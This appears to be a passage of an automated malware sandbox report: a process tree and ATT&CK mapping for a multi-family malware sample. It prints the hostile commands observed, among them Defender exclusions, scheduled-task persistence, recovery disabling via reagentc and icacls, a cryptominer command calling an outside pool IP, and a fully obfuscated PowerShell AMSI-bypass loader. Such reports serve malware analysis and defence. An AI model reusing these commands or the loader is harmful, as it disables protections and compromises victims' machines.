  "C:\Windows\System32\SecurityHealthSystray.exe"
  2⤵
  PID:5260
- C:\Users\Admin\AppData\Local\Temp\2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
  "C:\Users\Admin\AppData\Local\Temp\2026-06-26_c406173a1457a41b5903e85003b8bf36_cobalt-strike_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe"
  2⤵
  - Looks for VirtualBox Guest Additions in registry
  - Looks for VMWare Tools registry key
  - Adds Run key to start application
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3240
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionProcess 'powershell.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5636
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionProcess 'cmd.exe'; Add-MpPreference -ExclusionPath 'C:\'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2240
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionProcess 'WinTemp-v4.exe'; Add-MpPreference -ExclusionProcess 'Win-v42.exe'; Add-MpPreference -ExclusionProcess 'Win-v43.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:7072
- - C:\Windows\SYSTEM32\schtasks.exe
    schtasks /Create /TN "v4" /TR "C:\Windows\System32\Win-v42.exe" /SC ONLOGON /RL HIGHEST /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2632
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C reagentc /disable
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5252
  - - C:\Windows\system32\ReAgentc.exe
      reagentc /disable
      4⤵
      Drops file in System32 directory
      Drops file in Windows directory
      PID:6932
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C takeown /F "%SystemRoot%\System32\reagentc.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5352
  - - C:\Windows\system32\takeown.exe
      takeown /F "C:\Windows\System32\reagentc.exe"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:7120
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C icacls "%SystemRoot%\System32\reagentc.exe" /grant Administrators:F
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:6028
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\reagentc.exe" /grant Administrators:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5992
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /C icacls "%SystemRoot%\System32\reagentc.exe" /deny Everyone:RX
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:6592
  - - C:\Windows\system32\icacls.exe
      icacls "C:\Windows\System32\reagentc.exe" /deny Everyone:RX
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1976
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg /change monitor-timeout-ac 0
    3⤵
    - Power Settings
    PID:1508
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg /change monitor-timeout-dc 0
    3⤵
    - Power Settings
    PID:6812
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg /change standby-timeout-ac 0
    3⤵
    - Power Settings
    PID:1140
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg /change standby-timeout-dc 0
    3⤵
    - Power Settings
    PID:4088
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg /change hibernate-timeout-ac 0
    3⤵
    - Power Settings
    PID:2700
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg /change hibernate-timeout-dc 0
    3⤵
    - Power Settings
    PID:908
- - C:\Windows\SYSTEM32\powercfg.exe
    powercfg /hibernate off
    3⤵
    - Power Settings
    PID:5584
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping -n 1 -w 1000 8.8.8.8 > nul
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:5412
  - - C:\Windows\system32\PING.EXE
      ping -n 1 -w 1000 8.8.8.8
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:3916
- - C:\Windows\System32\cmd.exe
    C:\Windows\System32\cmd.exe --algo rx/0 --url 94.154.32.229:3333 --user 439RTMrajyhLb4cLK4YDejMx4rp8b5VDR4YX4auqWGbgUBj1c4wVbvc69bVUmJuJ8rXWwCU7LAGL9MkFaMwDwXjo6FrM5Y3/x -p x -k --cpu-max-threads-hint=90
    3⤵
    - Badlisted process makes network request
    - Executes dropped EXE
    - Suspicious use of FindShellTrayWindow
    PID:3932
- - C:\Windows\SysWOW64\svchost.exe
    C:\Windows\SysWOW64\svchost.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:1384

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3364

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:1108

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
- Suspicious use of UnmapMainImage
PID:4356

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4416

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
1⤵
PID:4484

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
1⤵
PID:4572

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4892

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
1⤵
PID:5152

C:\Windows\System32\smartscreen.exe
C:\Windows\System32\smartscreen.exe -Embedding
1⤵
PID:5216

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k WebThreatDefense -p -s webthreatdefsvc
1⤵
PID:5444

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s DeviceInstall
1⤵
PID:5884

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:4440

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:6712

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:2740

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:4652

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
PID:3768

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:3432

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
PID:3212

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
1⤵
PID:5488

C:\Windows\System32\Win-v42.exe
C:\Windows\System32\Win-v42.exe
1⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:5464

C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\Win-v43.exe
C:\Users\Admin\AppData\Local\Microsoft\Windows\Explorer\Win-v43.exe
1⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:1168

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
PID:4796

C:\Windows\system32\cmd.exe
cmd.exe /c "powershell.exe -Command ""function Local:kdTitSsiizEu{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$PpXKohywGiRNrm,[Parameter(Position=1)][Type]$GSjUGHbdYd)$rFxutjmdgCR=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+'f'+''+'l'+''+[Char](101)+''+'c'+''+[Char](116)+''+[Char](101)+''+[Char](100)+''+'D'+''+[Char](101)+''+[Char](108)+''+'e'+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+'em'+[Char](111)+''+[Char](114)+''+'y'+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+'e'+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+'D'+''+'e'+''+[Char](108)+'e'+[Char](103)+'at'+[Char](101)+'T'+'y'+'pe',''+[Char](67)+'l'+[Char](97)+''+[Char](115)+'s'+','+'P'+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+'S'+''+[Char](101)+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+'d'+''+','+''+[Char](65)+''+'n'+'si'+[Char](67)+''+[Char](108)+''+[Char](97)+'s'+[Char](115)+','+[Char](65)+''+[Char](117)+''+[Char](116)+''+[Char](111)+''+[Char](67)+'la'+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$rFxutjmdgCR.DefineConstructor(''+'R'+'TS'+[Char](112)+''+[Char](101)+''+[Char](99)+'i'+[Char](97)+''+[Char](108)+''+'N'+''+'a'+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](72)+'i'+[Char](100)+''+[Char](101)+''+[Char](66)+'y'+[Char](83)+''+'i'+'g,Publ'+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$PpXKohywGiRNrm).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+''+'t'+'i'+[Char](109)+'e'+[Char](44)+''+[Char](77)+'ana'+'g'+'ed');$rFxutjmdgCR.DefineMethod(''+[Char](73)+''+'n'+''+[Char](118)+''+'o'+'k'+'e'+'',''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+''+','+''+[Char](72)+''+'i'+''+'d'+''+[Char](101)+'By'+'S'+''+[Char](105)+''+'g'+','+[Char](78)+'ew'+[Char](83)+'l'+[Char](111)+''+[Char](116)+''+[Char](44)+''+[Char](86)+''+'i'+''+[Char](114)+''+[Char](116)+'u'+[Char](97)+''+[Char](108)+'',$GSjUGHbdYd,$PpXKohywGiRNrm).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+'e,'+[Char](77)+''+[Char](97)+'n'+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');Write-Output $rFxutjmdgCR.CreateType();}$hOmwuoXdKUvmq=([AppDomain]::CurrentDomain.GetAssemblies()^|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+''+[Char](115)+''+[Char](116)+''+[Char](101)+'m.'+[Char](100)+''+'l'+''+'l'+'')}).GetType('M'+[Char](105)+''+'c'+''+[Char](114)+'o'+[Char](115)+'o'+'f'+''+[Char](116)+''+[Char](46)+''+[Char](87)+''+[Char](105)+'n'+[Char](51)+''+'2'+''+'.'+''+[Char](85)+'nsa'+[Char](102)+''+'e'+''+[Char](78)+''+[Char](97)+'t'+[Char](105)+''+[Char](118)+'e'+[Char](77)+'et'+'h'+''+[Char](111)+''+[Char](100)+'s');$YgcGngKJeYiIjq=$hOmwuoXdKUvmq.GetMethod('Ge'+[Char](116)+''+[Char](80)+'r'+'o'+''+[Char](99)+''+'A'+'d'+[Char](100)+''+'r'+''+'e'+''+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+'b'+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+'t'+''+[Char](97)+''+[Char](116)+'i'+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$CZHgOcKdJkDzPereAOq=kdTitSsiizEu @([String])([IntPtr]);$oRcdrPfRxWtGgKAYRLUUle=kdTitSsiizEu @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$sNzMflLQCvm=$hOmwuoXdKUvmq.GetMethod('G'+[Char](101)+''+[Char](116)+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+'l'+[Char](101)+''+'H'+''+[Char](97)+''+[Char](110)+''+[Char](100)+''+[Char](108)+'e').Invoke($Null,@([Object]('k'+'e'+'r'+'n'+''+'e'+''+[Char](108)+''+'3'+''+[Char](50)+''+[Char](46)+'d'+[Char](108)+''+[Char](108)+'')));$dIoNCyYHFhGEHx=$YgcGngKJeYiIjq.Invoke($Null,@([Object]$sNzMflLQCvm,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+''+[Char](100)+''+[Char](76)+''+[Char](105)+'br'+[Char](97)+''+[Char](114)+''+[Char](121)+''+'A'+'')));$sfovKkUUuYGQlchSx=$YgcGngKJeYiIjq.Invoke($Null,@([Object]$sNzMflLQCvm,[Object](''+[Char](86)+''+'i'+''+[Char](114)+''+[Char](116)+''+'u'+''+'a'+''+[Char](108)+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](116)+''+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$IDZwaSq=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($dIoNCyYHFhGEHx,$CZHgOcKdJkDzPereAOq).Invoke(''+'a'+'m'+'s'+''+[Char](105)+''+[Char](46)+''+[Char](100)+''+'l'+''+'l'+'');$yKiHmDguAgBoTrwZU=$YgcGngKJeYiIjq.Invoke($Null,@([Object]$IDZwaSq,[Object]('A'+'m'+''+[Char](115)+''+'i'+''+'S'+''+[Char](99)+''+'a'+''+'n'+''+'B'+'uf'+[Char](102)+''+[Char](101)+''+[Char](114)+'')));$IpavXICria=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($sfovKkUUuYGQlchSx,$oRcdrPfRxWtGgKAYRLUUle).Invoke($yKiHmDguAgBoTrwZU,[uint32]8,4,[ref]$IpavXICria);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](88+43),[Byte](81+154),[Byte](56-56),[Byte](59+125),[Byte](120-33),[Byte](60-60),[Byte](96-89),[Byte](241-113),[Byte](16+121),[Byte](199+11),[Byte](110+85),[Byte](224-87),[Byte](172+47)),0,$yKiHmDguAgBoTrwZU,188-175);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($sfovKkUUuYGQlchSx,$oRcdrPfRxWtGgKAYRLUUle).Invoke($yKiHmDguAgBoTrwZU,[uint32]8,0x20,[ref]$IpavXICria);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+'F'+''+'T'+''+[Char](87)+''+[Char](65)+'RE').GetValue(''+'$'+'S'+[Char](72)+''+[Char](115)+''+'t'+''+[Char](97)+''+[Char](103)+'e'+'r'+'')).EntryPoint.Invoke($Null,$Null)"""
1⤵
- System Time Discovery
- Suspicious use of WriteProcessMemory
PID:4472
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command ""function Local:kdTitSsiizEu{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$PpXKohywGiRNrm,[Parameter(Position=1)][Type]$GSjUGHbdYd)$rFxutjmdgCR=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+'f'+''+'l'+''+[Char](101)+''+'c'+''+[Char](116)+''+[Char](101)+''+[Char](100)+''+'D'+''+[Char](101)+''+[Char](108)+''+'e'+''+[Char](103)+''+[Char](97)+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+'em'+[Char](111)+''+[Char](114)+''+'y'+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+'e'+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+'D'+''+'e'+''+[Char](108)+'e'+[Char](103)+'at'+[Char](101)+'T'+'y'+'pe',''+[Char](67)+'l'+[Char](97)+''+[Char](115)+'s'+','+'P'+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+''+[Char](99)+''+[Char](44)+''+'S'+''+[Char](101)+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+'d'+''+','+''+[Char](65)+''+'n'+'si'+[Char](67)+''+[Char](108)+''+[Char](97)+'s'+[Char](115)+','+[Char](65)+''+[Char](117)+''+[Char](116)+''+[Char](111)+''+[Char](67)+'la'+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$rFxutjmdgCR.DefineConstructor(''+'R'+'TS'+[Char](112)+''+[Char](101)+''+[Char](99)+'i'+[Char](97)+''+[Char](108)+''+'N'+''+'a'+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](72)+'i'+[Char](100)+''+[Char](101)+''+[Char](66)+'y'+[Char](83)+''+'i'+'g,Publ'+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$PpXKohywGiRNrm).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+''+'t'+'i'+[Char](109)+'e'+[Char](44)+''+[Char](77)+'ana'+'g'+'ed');$rFxutjmdgCR.DefineMethod(''+[Char](73)+''+'n'+''+[Char](118)+''+'o'+'k'+'e'+'',''+[Char](80)+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+'i'+''+[Char](99)+''+','+''+[Char](72)+''+'i'+''+'d'+''+[Char](101)+'By'+'S'+''+[Char](105)+''+'g'+','+[Char](78)+'ew'+[Char](83)+'l'+[Char](111)+''+[Char](116)+''+[Char](44)+''+[Char](86)+''+'i'+''+[Char](114)+''+[Char](116)+'u'+[Char](97)+''+[Char](108)+'',$GSjUGHbdYd,$PpXKohywGiRNrm).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+''+[Char](116)+''+[Char](105)+''+[Char](109)+'e,'+[Char](77)+''+[Char](97)+'n'+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');Write-Output $rFxutjmdgCR.CreateType();}$hOmwuoXdKUvmq=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+'S'+''+[Char](121)+''+[Char](115)+''+[Char](116)+''+[Char](101)+'m.'+[Char](100)+''+'l'+''+'l'+'')}).GetType('M'+[Char](105)+''+'c'+''+[Char](114)+'o'+[Char](115)+'o'+'f'+''+[Char](116)+''+[Char](46)+''+[Char](87)+''+[Char](105)+'n'+[Char](51)+''+'2'+''+'.'+''+[Char](85)+'nsa'+[Char](102)+''+'e'+''+[Char](78)+''+[Char](97)+'t'+[Char](105)+''+[Char](118)+'e'+[Char](77)+'et'+'h'+''+[Char](111)+''+[Char](100)+'s');$YgcGngKJeYiIjq=$hOmwuoXdKUvmq.GetMethod('Ge'+[Char](116)+''+[Char](80)+'r'+'o'+''+[Char](99)+''+'A'+'d'+[Char](100)+''+'r'+''+'e'+''+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+'b'+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+'t'+''+[Char](97)+''+[Char](116)+'i'+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$CZHgOcKdJkDzPereAOq=kdTitSsiizEu @([String])([IntPtr]);$oRcdrPfRxWtGgKAYRLUUle=kdTitSsiizEu @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$sNzMflLQCvm=$hOmwuoXdKUvmq.GetMethod('G'+[Char](101)+''+[Char](116)+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+'l'+[Char](101)+''+'H'+''+[Char](97)+''+[Char](110)+''+[Char](100)+''+[Char](108)+'e').Invoke($Null,@([Object]('k'+'e'+'r'+'n'+''+'e'+''+[Char](108)+''+'3'+''+[Char](50)+''+[Char](46)+'d'+[Char](108)+''+[Char](108)+'')));$dIoNCyYHFhGEHx=$YgcGngKJeYiIjq.Invoke($Null,@([Object]$sNzMflLQCvm,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+''+[Char](100)+''+[Char](76)+''+[Char](105)+'br'+[Char](97)+''+[Char](114)+''+[Char](121)+''+'A'+'')));$sfovKkUUuYGQlchSx=$YgcGngKJeYiIjq.Invoke($Null,@([Object]$sNzMflLQCvm,[Object](''+[Char](86)+''+'i'+''+[Char](114)+''+[Char](116)+''+'u'+''+'a'+''+[Char](108)+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](116)+''+[Char](101)+''+[Char](99)+''+[Char](116)+'')));$IDZwaSq=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($dIoNCyYHFhGEHx,$CZHgOcKdJkDzPereAOq).Invoke(''+'a'+'m'+'s'+''+[Char](105)+''+[Char](46)+''+[Char](100)+''+'l'+''+'l'+'');$yKiHmDguAgBoTrwZU=$YgcGngKJeYiIjq.Invoke($Null,@([Object]$IDZwaSq,[Object]('A'+'m'+''+[Char](115)+''+'i'+''+'S'+''+[Char](99)+''+'a'+''+'n'+''+'B'+'uf'+[Char](102)+''+[Char](101)+''+[Char](114)+'')));$IpavXICria=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($sfovKkUUuYGQlchSx,$oRcdrPfRxWtGgKAYRLUUle).Invoke($yKiHmDguAgBoTrwZU,[uint32]8,4,[ref]$IpavXICria);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](88+43),[Byte](81+154),[Byte](56-56),[Byte](59+125),[Byte](120-33),[Byte](60-60),[Byte](96-89),[Byte](241-113),[Byte](16+121),[Byte](199+11),[Byte](110+85),[Byte](224-87),[Byte](172+47)),0,$yKiHmDguAgBoTrwZU,188-175);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($sfovKkUUuYGQlchSx,$oRcdrPfRxWtGgKAYRLUUle).Invoke($yKiHmDguAgBoTrwZU,[uint32]8,0x20,[ref]$IpavXICria);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+'F'+''+'T'+''+[Char](87)+''+[Char](65)+'RE').GetValue(''+'$'+'S'+[Char](72)+''+[Char](115)+''+'t'+''+[Char](97)+''+[Char](103)+'e'+'r'+'')).EntryPoint.Invoke($Null,$Null)""
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3696

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Power Settings

T1653

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

File and Directory Permissions Modification

T1222

Windows File and Directory Permissions Modification

T1222.001

Modify Registry

T1112

Virtualization/Sandbox Evasion

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Time Discovery

T1124

Virtualization/Sandbox Evasion